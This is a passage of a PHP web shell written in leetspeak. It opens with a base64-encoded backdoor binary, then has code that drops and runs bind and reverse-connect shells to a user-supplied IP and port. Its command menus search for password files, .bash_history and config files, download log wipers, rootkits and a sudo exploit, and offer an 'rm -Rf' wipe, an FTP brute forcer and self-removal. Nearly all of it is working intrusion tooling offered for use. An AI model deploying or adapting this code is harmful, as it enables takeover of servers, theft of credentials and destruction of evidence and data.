pNDVNUUFCZ0l3QUFBQUNBR1lBQUFBRUFTOEJBQUF2WW5WcGJHUXZZblZwYkdSa0wyZHNhV0pqTFRJdU15NDJMMkoxYVd4a0xYUnlaV1V2YVRNNE5pMXNhV0pqTDJOemRTOWpjblJ1TGxNQUwySjFhV3hrTDJKMWFXeGtaQzluYkdsaVl5MHlMak11Tmk5aWRXbHNaQzEwY21WbEwyZHNhV0pqTFRJdU15NDJMMk56ZFFCSFRsVWdRVk1nTWk0eE5pNDVNUUFCZ0FFUkFCQUdFUUVTQVFNSUd3Z2xDQk1GQUFBQUFSRUJFQVlTQVJFQkpRNFRDd01PR3c0QUFBSWtBQU1PQ3dzK0N3QUFBeVFBQXdnTEN6NExBQUFFTkFBRERqb0xPd3RKRXo4TUFnb0FBQVVtQUVrVEFBQUFBUkVBRUFZRENCc0lKUWdUQlFBQUFBRVJBQkFHQXdnYkNDVUlFd1VBQUFCWEFBQUFBZ0F5QUFBQUFRSDdEZzBBQVFFQkFRQUFBQUVBQUFFdUxpOXplWE5rWlhCekwya3pPRFl2Wld4bUFBQnpkR0Z5ZEM1VEFBRUFBQUFBQlFLZ2hRUUlBOEFBQVRNaE5EMGxJZ01ZSUZsYUlTSmNXd0lCQUFFQkl3QUFBQUlBSFFBQUFBRUIrdzROQUFFQkFRRUFBQUFCQUFBQkFHbHVhWFF1WXdBQUFBQUFxUUFBQUFJQVVBQUFBQUVCK3c0TkFBRUJBUUVBQUFBQkFBQUJMMkoxYVd4a0wySjFhV3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmt6T0RZdGJHbGlZeTlqYzNVQUFHTnlkR2t1VXdBQkFBQUFBQVVDNklVRUNBUEFBQUU5QWdFQUFRRUFCUUlraVFRSUF5NEJJUzhoV1djQ0F3QUJBUUFGQW9pRUJBZ0RId0VoTHowQ0JRQUJBUUFGQXNTRkJBZ0RDZ0VoTHlGWlp6MW5MeTh3UFNFaEFnRUFBUUdJQUFBQUFnQlFBQUFBQVFIN0RnMEFBUUVCQVFBQUFBRUFBQUV2WW5WcGJHUXZZblZwYkdSa0wyZHNhV0pqTFRJdU15NDJMMkoxYVd4a0xYUnlaV1V2YVRNNE5pMXNhV0pqTDJOemRRQUFZM0owYmk1VEFBRUFBQUFBQlFMb2hRUUlBeUVCUFFJQkFBRUJBQVVDTzRrRUNBTVNBVDBoSVFJQkFBRUJBQVVDbllRRUNBTUpBU0VDQVFBQkFXbHVhWFF1WXdCemFHOXlkQ0JwYm5RQUwySjFhV3hrTDJKMWFXeGtaQzluYkdsaVl5MHlMak11Tmk5aWRXbHNaQzEwY21WbEwyZHNhV0pqTFRJdU15NDJMMk56ZFFCc2IyNW5JR3h2Ym1jZ2FXNTBBSFZ1YzJsbmJtVmtJR05vWVhJQVIwNVZJRU1nTXk0MExqWWdLRlZpZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQWJHOXVaeUJzYjI1bklIVnVjMmxuYm1Wa0lHbHVkQUJ6YUc5eWRDQjFibk5wWjI1bFpDQnBiblFBWDBsUFgzTjBaR2x1WDNWelpXUUFBQzV6ZVcxMFlXSUFMbk4wY25SaFlnQXVjMmh6ZEhKMFlXSUFMbWx1ZEdWeWNBQXVibTkwWlM1QlFra3RkR0ZuQUM1b1lYTm9BQzVrZVc1emVXMEFMbVI1Ym5OMGNnQXVaMjUxTG5abGNuTnBiMjRBTG1kdWRTNTJaWEp6YVc5dVgzSUFMbkpsYkM1a2VXNEFMbkpsYkM1d2JIUUFMbWx1YVhRQUxuUmxlSFFBTG1acGJta0FMbkp2WkdGMFlRQXVaV2hmWm5KaGJXVUFMbU4wYjNKekFDNWtkRzl5Y3dBdWFtTnlBQzVrZVc1aGJXbGpBQzVuYjNRQUxtZHZkQzV3YkhRQUxtUmhkR0VBTG1KemN3QXVZMjl0YldWdWRBQXVaR1ZpZFdkZllYSmhibWRsY3dBdVpHVmlkV2RmY0hWaWJtRnRaWE1BTG1SbFluVm5YMmx1Wm04QUxtUmxZblZuWDJGaVluSmxkZ0F1WkdWaWRXZGZiR2x1WlFBdVpHVmlkV2RmYzNSeUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBR3dBQUFBRUFBQUFDQUFBQUZJRUVDQlFCQUFBVEFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFDTUFBQUFIQUFBQUFnQUFBQ2lCQkFnb0FRQUFJQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUF4QUFBQUJRQUFBQUlBQUFCSWdRUUlTQUVBQUpnQUFBQUVBQUFBQUFBQUFBUUFBQUFFQUFBQU53QUFBQXNBQUFBQ0FBQUE0SUVFQ09BQkFBQXdBUUFBQlFBQUFBRUFBQUFFQUFBQUVBQUFBRDhBQUFBREFBQUFBZ0FBQUJDREJBZ1FBd0FBc0FBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFCSEFBQUEvLy8vYndJQUFBREFnd1FJd0FNQUFDWUFBQUFFQUFBQUFBQUFBQUlBQUFBQ0FBQUFWQUFBQVA3Ly8yOENBQUFBNklNRUNPZ0RBQUFnQUFBQUJRQUFBQUVBQUFBRUFBQUFBQUFBQUdNQUFBQUpBQUFBQWdBQUFBaUVCQWdJQkFBQUNBQUFBQVFBQUFBQUFBQUFCQUFBQUFnQUFBQnNBQUFBQ1FBQUFBSUFBQUFRaEFRSUVBUUFBSGdBQUFBRUFBQUFDd0FBQUFRQUFBQUlBQUFBZFFBQUFBRUFBQUFHQUFBQWlJUUVDSWdFQUFBWEFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFIQUFBQUFCQUFBQUJnQUFBS0NFQkFpZ0JBQUFBQUVBQUFBQUFBQUFBQUFBQkFBQUFBUUFBQUI3QUFBQUFRQUFBQVlBQUFDZ2hRUUlvQVVBQUlRREFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQWdRQUFBQUVBQUFBR0FBQUFKSWtFQ0NRSkFBQWRBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBSWNBQUFBQkFBQUFBZ0FBQUVTSkJBaEVDUUFBWXdBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFDUEFBQUFBUUFBQUFJQUFBQ29pUVFJcUFrQUFBUUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFtUUFBQUFFQUFBQURBQUFBckprRUNLd0pBQUFJQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUtBQUFBQUJBQUFBQXdBQUFMU1pCQWkwQ1FBQUNBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQ25BQUFBQVFBQUFBTUFBQUM4bVFRSXZBa0FBQVFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBckFBQUFBWUFBQUFEQUFBQXdKa0VDTUFKQUFESUFBQUFCUUFBQUFBQUFBQUVBQUFBQ0FBQUFMVUFBQUFCQUFBQUF3QUFBSWlhQkFpSUNnQUFCQUFBQUFBQUFBQUFBQUFBQkFBQUFBUUFBQUM2QUFBQUFRQUFBQU1BQUFDTW1nUUlqQW9BQUVnQUFBQUFBQUFBQUFBQUFBUUFBQUFFQUFBQXd3QUFBQUVBQUFBREFBQUExSm9FQ05RS0FBQU1BQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBTWtBQUFBSUFBQUFBd0FBQU9DYUJBamdDZ0FBQkFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFET0FBQUFBUUFBQUFBQUFBQUFBQUFBNEFvQUFDWUJBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUExd0FBQUFFQUFBQUFBQUFBQUFBQUFBZ01BQUNJQUFBQUFBQUFBQUFBQUFBSUFBQUFBQUFBQU9ZQUFBQUJBQUFBQUFBQUFBQUFBQUNRREFBQUpRQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBRDJBQUFBQVFBQUFBQUFBQUFBQUFBQXRRd0FBQ3NDQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBQWdFQUFBRUFBQUFBQUFBQUFBQUFBT0FPQUFCMkFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFCQUJBQUFCQUFBQUFBQUFBQUFBQUFCV0R3QUF1d0VBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFjQVFBQUFRQUFBREFBQUFBQUFBQUFFUkVBQUw4QUFBQUFBQUFBQUFBQUFBRUFBQUFCQUFBQUVRQUFBQU1BQUFBQUFBQUFBQUFBQU5BUkFBQW5BUUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQ0FBQUFBQUFBQUFBQUFBQklHQUFBOEFVQUFDRUFBQUEvQUFBQUJBQUFBQkFBQUFBSkFBQUFBd0FBQUFBQUFBQUFBQUFBT0I0QUFMSURBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFVZ1FRSUFBQUFBQU1BQVFBQUFBQUFLSUVFQ0FBQUFBQURBQUlBQUFBQUFFaUJCQWdBQUFBQUF3QURBQUFBQUFEZ2dRUUlBQUFBQUFNQUJBQUFBQUFBRUlNRUNBQUFBQUFEQUFVQUFBQUFBTUNEQkFnQUFBQUFBd0FHQUFBQUFBRG9nd1FJQUFBQUFBTUFCd0FBQUFBQUNJUUVDQUFBQUFBREFBZ0FBQUFBQUJDRUJBZ0FBQUFBQXdBSkFBQUFBQUNJaEFRSUFBQUFBQU1BQ2dBQUFBQUFvSVFFQ0FBQUFBQURBQXNBQUFBQUFLQ0ZCQWdBQUFBQUF3QU1BQUFBQUFBa2lRUUlBQUFBQUFNQURRQUFBQUFBUklrRUNBQUFBQUFEQUE0QUFBQUFBS2lKQkFnQUFBQUFBd0FQQUFBQUFBQ3NtUVFJQUFBQUFBTUFFQUFBQUFBQXRKa0VDQUFBQUFBREFCRUFBQUFBQUx5WkJBZ0FBQUFBQXdBU0FBQUFBQURBbVFRSUFBQUFBQU1BRXdBQUFBQUFpSm9FQ0FBQUFBQURBQlFBQUFBQUFJeWFCQWdBQUFBQUF3QVZBQUFBQUFEVW1nUUlBQUFBQUFNQUZnQUFBQUFBNEpvRUNBQUFBQUFEQUJjQUFBQUFBQUFBQUFBQUFBQUFBd0FZQUFBQUFBQUFBQUFBQUFBQUFBTUFHUUFBQUFBQUFBQUFBQUFBQUFBREFCb0FBQUFBQUFBQUFBQUFBQUFBQXdBYkFBQUFBQUFBQUFBQUFBQUFBQU1BSEFBQUFBQUFBQUFBQUFBQUFBQURBQjBBQUFBQUFBQUFBQUFBQUFBQUF3QWVBQUFBQUFBQUFBQUFBQUFBQUFNQUh3QUFBQUFBQUFBQUFBQUFBQUFEQUNBQUFBQUFBQUFBQUFBQUFBQUFBd0FoQUFFQUFBQUFBQUFBQUFBQUFBUUE4ZjhNQUFBQUFBQUFBQUFBQUFBRUFQSC9LQUFBQUFBQUFBQUFBQUFBQkFEeC95OEFBQUFBQUFBQUFBQUFBQVFBOGY4NkFBQUFBQUFBQUFBQUFBQUVBUEgvZEFBQUFNU0ZCQWdBQUFBQUFnQU1BSVFBQUFBQUFBQUFBQUFBQUFRQThmK1BBQUFBckprRUNBQUFBQUFCQUJBQW5RQUFBTFNaQkFnQUFBQUFBUUFSQUtzQUFBQzhtUVFJQUFBQUFBRUFFZ0M0QUFBQTRKb0VDQUVBQUFBQkFCY0F4d0FBQU55YUJBZ0FBQUFBQVFBV0FNNEFBQURzaFFRSUFBQUFBQUlBREFEa0FBQUFHNFlFQ0FBQUFBQUNBQXdBaEFBQUFBQUFBQUFBQUFBQUJBRHgvL0FBQUFDd21RUUlBQUFBQUFFQUVBRDlBQUFBdUprRUNBQUFBQUFCQUJFQUNnRUFBS2lKQkFnQUFBQUFBUUFQQUJnQkFBQzhtUVFJQUFBQUFBRUFFZ0FrQVFBQStJZ0VDQUFBQUFBQ0FBd0FMd0FBQUFBQUFBQUFBQUFBQkFEeC96b0JBQUFBQUFBQUFBQUFBQVFBOGY5MEFRQUFBQUFBQUFBQUFBQUVBUEgvZUFFQUFNQ1pCQWdBQUFBQUFRSVRBSUVCQUFDc21RUUlBQUFBQUFBQzhmK1NBUUFBckprRUNBQUFBQUFBQXZIL3BRRUFBS3laQkFnQUFBQUFBQUx4LzdZQkFBQ01tZ1FJQUFBQUFBRUNGUURNQVFBQXJKa0VDQUFBQUFBQUF2SC8zd0VBQUFBQUFBQjFBUUFBRWdBQUFQQUJBQUFBQUFBQWNRQUFBQklBQUFBQkFnQUFSSWtFQ0FRQUFBQVJBQTRBQ0FJQUFBQUFBQURNQUFBQUVnQUFBQm9DQUFBQUFBQUFXZ0FBQUJJQUFBQXFBZ0FBMkpvRUNBQUFBQUFSQWhZQU53SUFBSzJJQkFoS0FBQUFFZ0FNQUVjQ0FBQUFBQUFBZUFBQUFCSUFBQUJaQWdBQWlJUUVDQUFBQUFBU0FBb0FYd0lBQUFBQUFBQTVBQUFBRWdBQUFIRUNBQUFBQUFBQU9RQUFBQklBQUFDSEFnQUFvSVVFQ0FBQUFBQVNBQXdBamdJQUFGeUlCQWhSQUFBQUVnQU1BSjRDQUFEZ21nUUlBQUFBQUJBQThmK3FBZ0FBUUlZRUNCd0NBQUFTQUF3QXJ3SUFBQUFBQUFEbUFBQUFFZ0FBQU13Q0FBQUFBQUFBT2dBQUFCSUFBQURjQWdBQTFKb0VDQUFBQUFBZ0FCWUE1d0lBQUFBQUFBQTVBQUFBRWdBQUFQY0NBQUFraVFRSUFBQUFBQklBRFFEOUFnQUFBQUFBQUxrQUFBQVNBQUFBRFFNQUFBQUFBQUFyQUFBQUVnQUFBQjBEQUFEZ21nUUlBQUFBQUJBQThmOGtBd0FBNklVRUNBQUFBQUFTQWd3QU93TUFBT1NhQkFnQUFBQUFFQUR4LzBBREFBQUFBQUFBZUFBQUFCSUFBQUJRQXdBQUFBQUFBQTRBQUFBU0FBQUFZUU1BQUVpSkJBZ0VBQUFBRVFBT0FIQURBQURVbWdRSUFBQUFBQkFBRmdCOUF3QUFBQUFBQURrQUFBQVNBQUFBandNQUFBQUFBQUFBQUFBQUlBQUFBS01EQUFBQUFBQUFBQUFBQUNBQUFBQUFZV0pwTFc1dmRHVXVVd0F1TGk5emVYTmtaWEJ6TDJrek9EWXZaV3htTDNOMFlYSjBMbE1BYVc1cGRDNWpBR2x1YVhSbWFXNXBMbU1BTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJrek9EWXRiR2xpWXk5amMzVXZZM0owYVM1VEFHTmhiR3hmWjIxdmJsOXpkR0Z5ZEFCamNuUnpkSFZtWmk1akFGOWZRMVJQVWw5TVNWTlVYMThBWDE5RVZFOVNYMHhKVTFSZlh3QmZYMHBEVWw5TVNWTlVYMThBWTI5dGNHeGxkR1ZrTGpRME5qTUFjQzQwTkRZeUFGOWZaRzlmWjJ4dlltRnNYMlIwYjNKelgyRjFlQUJtY21GdFpWOWtkVzF0ZVFCZlgwTlVUMUpmUlU1RVgxOEFYMTlFVkU5U1gwVk9SRjlmQUY5ZlJsSkJUVVZmUlU1RVgxOEFYMTlLUTFKZlJVNUVYMThBWDE5a2IxOW5iRzlpWVd4ZlkzUnZjbk5mWVhWNEFDOWlkV2xzWkM5aWRXbHNaR1F2WjJ4cFltTXRNaTR6TGpZdlluVnBiR1F0ZEhKbFpTOXBNemcyTFd4cFltTXZZM04xTDJOeWRHNHVVd0F4TG1NQVgwUlpUa0ZOU1VNQVgxOW1hVzVwWDJGeWNtRjVYMlZ1WkFCZlgyWnBibWxmWVhKeVlYbGZjM1JoY25RQVgxOXBibWwwWDJGeWNtRjVYMlZ1WkFCZlIweFBRa0ZNWDA5R1JsTkZWRjlVUVVKTVJWOEFYMTlwYm1sMFgyRnljbUY1WDNOMFlYSjBBR1Y0WldOc1FFQkhURWxDUTE4eUxqQUFZMnh2YzJWQVFFZE1TVUpEWHpJdU1BQmZabkJmYUhjQWNHVnljbTl5UUVCSFRFbENRMTh5TGpBQVptOXlhMEJBUjB4SlFrTmZNaTR3QUY5ZlpITnZYMmhoYm1Sc1pRQmZYMnhwWW1OZlkzTjFYMlpwYm1rQVlXTmpaWEIwUUVCSFRFbENRMTh5TGpBQVgybHVhWFFBYkdsemRHVnVRRUJIVEVsQ1ExOHlMakFBYzJWMGMyOWphMjl3ZEVCQVIweEpRa05mTWk0d0FGOXpkR0Z5ZEFCZlgyeHBZbU5mWTNOMVgybHVhWFFBWDE5aWMzTmZjM1JoY25RQWJXRnBiZ0JmWDJ4cFltTmZjM1JoY25SZmJXRnBia0JBUjB4SlFrTmZNaTR3QUdSMWNESkFRRWRNU1VKRFh6SXVNQUJrWVhSaFgzTjBZWEowQUdKcGJtUkFRRWRNU1VKRFh6SXVNQUJmWm1sdWFRQmxlR2wwUUVCSFRFbENRMTh5TGpBQVlYUnZhVUJBUjB4SlFrTmZNaTR3QUY5bFpHRjBZUUJmWDJrMk9EWXVaMlYwWDNCalgzUm9kVzVyTG1KNEFGOWxibVFBYzJWdVpFQkFSMHhKUWtOZk1pNHdBR2gwYjI1elFFQkhURWxDUTE4eUxqQUFYMGxQWDNOMFpHbHVYM1Z6WldRQVgxOWtZWFJoWDNOMFlYSjBBSE52WTJ0bGRFQkFSMHhKUWtOZk1pNHdBRjlLZGw5U1pXZHBjM1JsY2tOc1lYTnpaWE1BWDE5bmJXOXVYM04wWVhKMFgxOEE="; + +function cf($fname,$text) { + $w_file=@fopen($fname,"w") or err(); + if($w_file) { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} + +function cfb($fname,$text) { + $w_file=@fopen($fname,"w") or bberr(); + if($w_file) { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function err() { $_POST['backcconnmsge']="

        Error:
        C4n'7 c0nn3c7!"; } +function bberr() { $_POST['backcconnmsge']="

        Error:
        C4n'7 b4ckd00r h057!"; } + +if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) { + $ip = gethostbyname($_SERVER["HTTP_HOST"]); + $poor = $_POST['backconnectport']; + if (is_writable(".")) { + cfb("shbd",$b4ckd00r); + ex("chmod 777 shbd"); + $cmd = "./shbd $poor"; + exec("$cmd > /dev/null &"); + $scan = s3x3c("ps aux"); + } else { + cfb("/tmp/shbd",$b4ckd00r); + ex("chmod 777 /tmp/shbd"); + $cmd = "./tmp/shbd $poor"; + exec("$cmd > /dev/null &"); + $scan = s3x3c("ps aux"); + } + if (eregi("./shbd $poor",$scan)) { + $data = ("\n
        B4ckd00r 53tup 5ucc355fully."); + } else { + $data = ("\n
        Pr0c355 n07 f0und, b4ckd00r 537up f41l3d!"); + } + $_POST['backcconnmsg']="70 c0nn3c7, u53 netcat! Us4g3: 'nc $ip $poor'.$data"; +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) { + if (is_writable(".")) { + cf("back",$bc_p3rl); + $po2 = which("perl"); + $blah = ex($po2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + if (file_exists("back")) { unlink("back"); } + } else { + cf("/tmp/back",$bc_p3rl); + $po2 = which("perl"); + $blah = ex($po2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + if (file_exists("/tmp/back")) { unlink("/tmp/back"); } + } + $_POST['backcconnmsg']="Try1ng 70 c0nn3c7 70 ".$_POST['backconnectip']." 0n p0r7 ".$_POST['backconnectport']."."; +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")) { + if (is_writable(".")) { + cf("backc",$bc_c); + ex("chmod 777 backc"); + $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + if (file_exists("backc")) { unlink("backc"); } + } else { + ex("chmod 777 /tmp/backc"); + cf("/tmp/backc",$bc_c); + $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } + } + $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']."."; +} + +@ini_set("max_execution_time",0); +if (!function_exists("gmt")) { + function gmt() { + list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec); + } +} +//Byp455 func710n5 0n +error_reporting(5); +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +define("starttime",gmt()); +$not_enabled_feedback = $feedback; +if (get_magic_quotes_gpc()) { + if (!function_exists("strips")) { + function strips(&$arr,$k="") { + if (is_array($arr)) { + foreach($arr as $k=>$v) { + if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } + } + } else {$arr = stripslashes($arr);} + } + } + strips($GLOBALS); +} + +//c0nf1g +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +$surl_autofill_include = TRUE; +foreach($_REQUEST as $k=>$v) { if (!isset($$k)) {$$k = $v;} } +if ($surl_autofill_include) { + $include = "&"; + foreach (explode("&",getenv("QUERY_STRING")) as $v) { + $v = explode("=",$v); + $name = urldecode($v[0]); + $value = urldecode($v[1]); + foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) { + if (strpos($value,$needle) === 0) { + $includestr .= urlencode($name)."=".urlencode($value)."&"; + } + } + } +} +if (empty($surl)) { + $surl = "?".$includestr; +} +$surl = htmlspecialchars($surl); + +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf","conf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"",""), + array("\.tgz$",1,"",""), + array("\.gz$",1,"",""), + array("\.tar$",1,"",""), + array("\.bz2$",1,"",""), + array("\.zip$",1,"",""), + array("\.rar$",1,"",""), + array("\.php$",1,"",""), + array("\.php3$",1,"",""), + array("\.php4$",1,"",""), + array("\.jpg$",1,"",""), + array("\.jpeg$",1,"",""), + array("\.JPG$",1,"",""), + array("\.JPEG$",1,"",""), + array("\.ico$",1,"",""), + array("\.gif$",1,"",""), + array("\.png$",1,"",""), + array("\.htm$",1,"",""), + array("\.html$",1,"",""), + array("\.txt$",1,"","") +); +if (!$win) { + $cmdaliases = array( + array("", "ls -al"), + array("f1nd 4ll suid files", "f1nd / -type f -perm -04000 -ls"), + array("f1nd suid files in current dir", "f1nd . -type f -perm -04000 -ls"), + array("f1nd 4ll sgid files", "f1nd / -type f -perm -02000 -ls"), + array("f1nd sgid files in current dir", "f1nd . -type f -perm -02000 -ls"), + array("f1nd config.inc.php files", "f1nd / -type f -name config.inc.php"), + array("f1nd config* files", "f1nd / -type f -name \"config*\""), + array("f1nd config* files in current dir", "f1nd . -type f -name \"config*\""), + array("f1nd 4ll writable folders and files", "f1nd / -perm -2 -ls"), + array("f1nd 4ll writable folders and files in current dir", "f1nd . -perm -2 -ls"), + array("f1nd 4ll writable folders", "f1nd / -type d -perm -2 -ls"), + array("f1nd 4ll writable folders in current dir", "f1nd . -type d -perm -2 -ls"), + array("f1nd 4ll service.pwd files", "f1nd / -type f -name service.pwd"), + array("f1nd service.pwd files in current dir", "f1nd . -type f -name service.pwd"), + array("f1nd 4ll .htpasswd files", "f1nd / -type f -name .htpasswd"), + array("f1nd .htpasswd files in current dir", "f1nd . -type f -name .htpasswd"), + array("f1nd 4ll .bash_history files", "f1nd / -type f -name .bash_history"), + array("f1nd .bash_history files in current dir", "f1nd . -type f -name .bash_history"), + array("f1nd 4ll .fetchmailrc files", "f1nd / -type f -name .fetchmailrc"), + array("f1nd .fetchmailrc files in current dir", "f1nd . -type f -name .fetchmailrc"), + array("List file attributes on a Linux second extended file system", "lsattr -va"), + array("Show opened ports", "netstat -an | grep -i listen") + ); + $cmdaliases2 = array( + array("wget & extract psyBNC","wget ".$s_mu."fx.tar.gz;tar -zxf fx.tar.gz"), + array("wget & extract EggDrop","wget ".$s_mu."fxb.tar.gz;tar -zxf fxb.tar.gz"), + array("-----",""), + array("Logged in users","w"), + array("Last to connect","lastlog"), + array("f1nd Suid bins","f1nd /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"), + array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"), + array("Can write in /etc/?","f1nd /etc/ -type f -perm -o+w 2> /dev/null"), + array("Downloaders?","which wget curl w3m lynx fetch lwp-download"), + array("CPU Info","cat /proc/version /proc/cpuinfo"), + array("Is gcc installed ?","locate gcc"), + array("Format box (DANGEROUS)","rm -Rf"), + array("-----",""), + array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"), + array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"), + array("Run WIPELOGS PT3","./zap2"), + array("-----",""), + array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"), + array("wget & run BindDoor","wget ".$s_mu."toolz/bind.tar.gz;tar -zxvf bind.tar.gz;./4877"), + array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"), + ); +} +else { + $cmdaliases = array( + array("", "dir"), + array("f1nd index.php in current dir", "dir /s /w /b index.php"), + array("f1nd *config*.php in current dir", "dir /s /w /b *config*.php"), + array("f1nd ass5hell in current dir", "f1nd /c \"ass\" *"), + array("f1nd r57shell in current dir", "f1nd /c \"r57\" *"), + array("Show active connections", "netstat -an"), + array("Show running services", "net start"), + array("User accounts", "net user"), + array("Show computers", "net view"), + ); +} +$pohpfsaliases = array( + array("Read File", "read"), + array("Write File (PHP5)", "write"), + array("Copy", "copy"), + array("Rename/Move", "rename"), + array("Delete", "delete"), + array("Make Dir","mkdir"), + array("-----", ""), + array("Download", "download"), + array("Download (Binary Safe)", "downloadbin"), + array("Change Perm (0755)", "chmod"), + array("f1nd Writable Dir", "fwritabledir"), + array("f1nd Pathname Pattern", "glob"), +); + +$quicklaunch1an = array( + array("\"Home\"",$surl), + array("\"Back\"","#\" onclick=\"history.back(1)"), + array("\"Forward\"","#\" onclick=\"history.go(1)"), + array("\"Up\"",$surl."antisec=ls&d=%upd&sort=%sort"), + array("\"Search\"",$surl."antisec=search&d=%d"), + array("\"Buffer\"",$surl."antisec=fsbuff&d=%d") +); +$quicklaunch2an = array( + array("3num3r473",$enumerate), + array("53cur17y 1nf0",$surl."antisec=security&d=%d"), + array("Pr0c35535",$surl."antisec=processes&d=%d"), + array("MySQL",$surl."antisec=sql&d=%d"), + array("PHP-C0d3",$surl."antisec=eval&d=%d"), + array("3nc0d3r",$surl."antisec=encoder&d=%d"), + array("M41l3r",$surl."antisec=fxmailer"), + array("534rch 0n exploit-db",$millink), + array("Md5-L00kup","http://darkc0de.com/database/md5lookup.html"), + array("W0rd-L1575","http://darkc0de.com/wordlists/"), + array("700ls",$surl."antisec=tools&d=%d"), + array("k1ll m3",$surl."antisec=selfremove"), +); + +if (!$win) { +$quicklaunch2an[] = array("
        FTP-Bru73",$surl."antisec=ftpquickbrute&d=%d"); +$quicklaunch2an[] = array("B4ckd00r",$surl."antisec=shbd"); +$quicklaunch2an[] = array("B4ck-C0nn3c7",$surl."antisec=backc"); +} +$highlight_background = "#C0C0C0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; +@$f = $_REQUEST["f"]; +@extract($_REQUEST["asshc0k"]); +@set_time_limit(0); +$tmp = array(); +foreach ($ht_yes as $k=>$v) { $tmp[] = str_replace("\\*",".*",preg_quote($v)); } +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) { + exit("$sh_name: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed"); +} +if (!empty($login)) { + if (empty($md5_pass)) {$md5_pass = md5($poass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) { + header("WWW-Authenticate: Basic realm=\"".$sh_name.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($antisec != "img") { + $lastdirass = realpath("."); + chdir($curdir); + if ($selfwrite or $updatenow) { + @ob_clean(); + ass5h_getupdate($selfwrite,1); + exit; + } + $sess_data = unserialize($_COOKIE["$sess_cookie"]); + if (!is_array($sess_data)) {$sess_data = array();} + if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} + if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + if (!function_exists("assgetsource")) { + function assgetsource($fn) { + global $ass5h_sourcesurl; + $array = array( + "ass5h_bindport.pl" => "ass5h_bindport_pl.txt", + "ass5h_bindport.c" => "ass5h_bindport_c.txt", + "ass5h_backconn.pl" => "ass5h_backconn_pl.txt", + "ass5h_backconn.c" => "ass5h_backconn_c.txt", + "ass5h_datapipe.pl" => "ass5h_datapipe_pl.txt", + 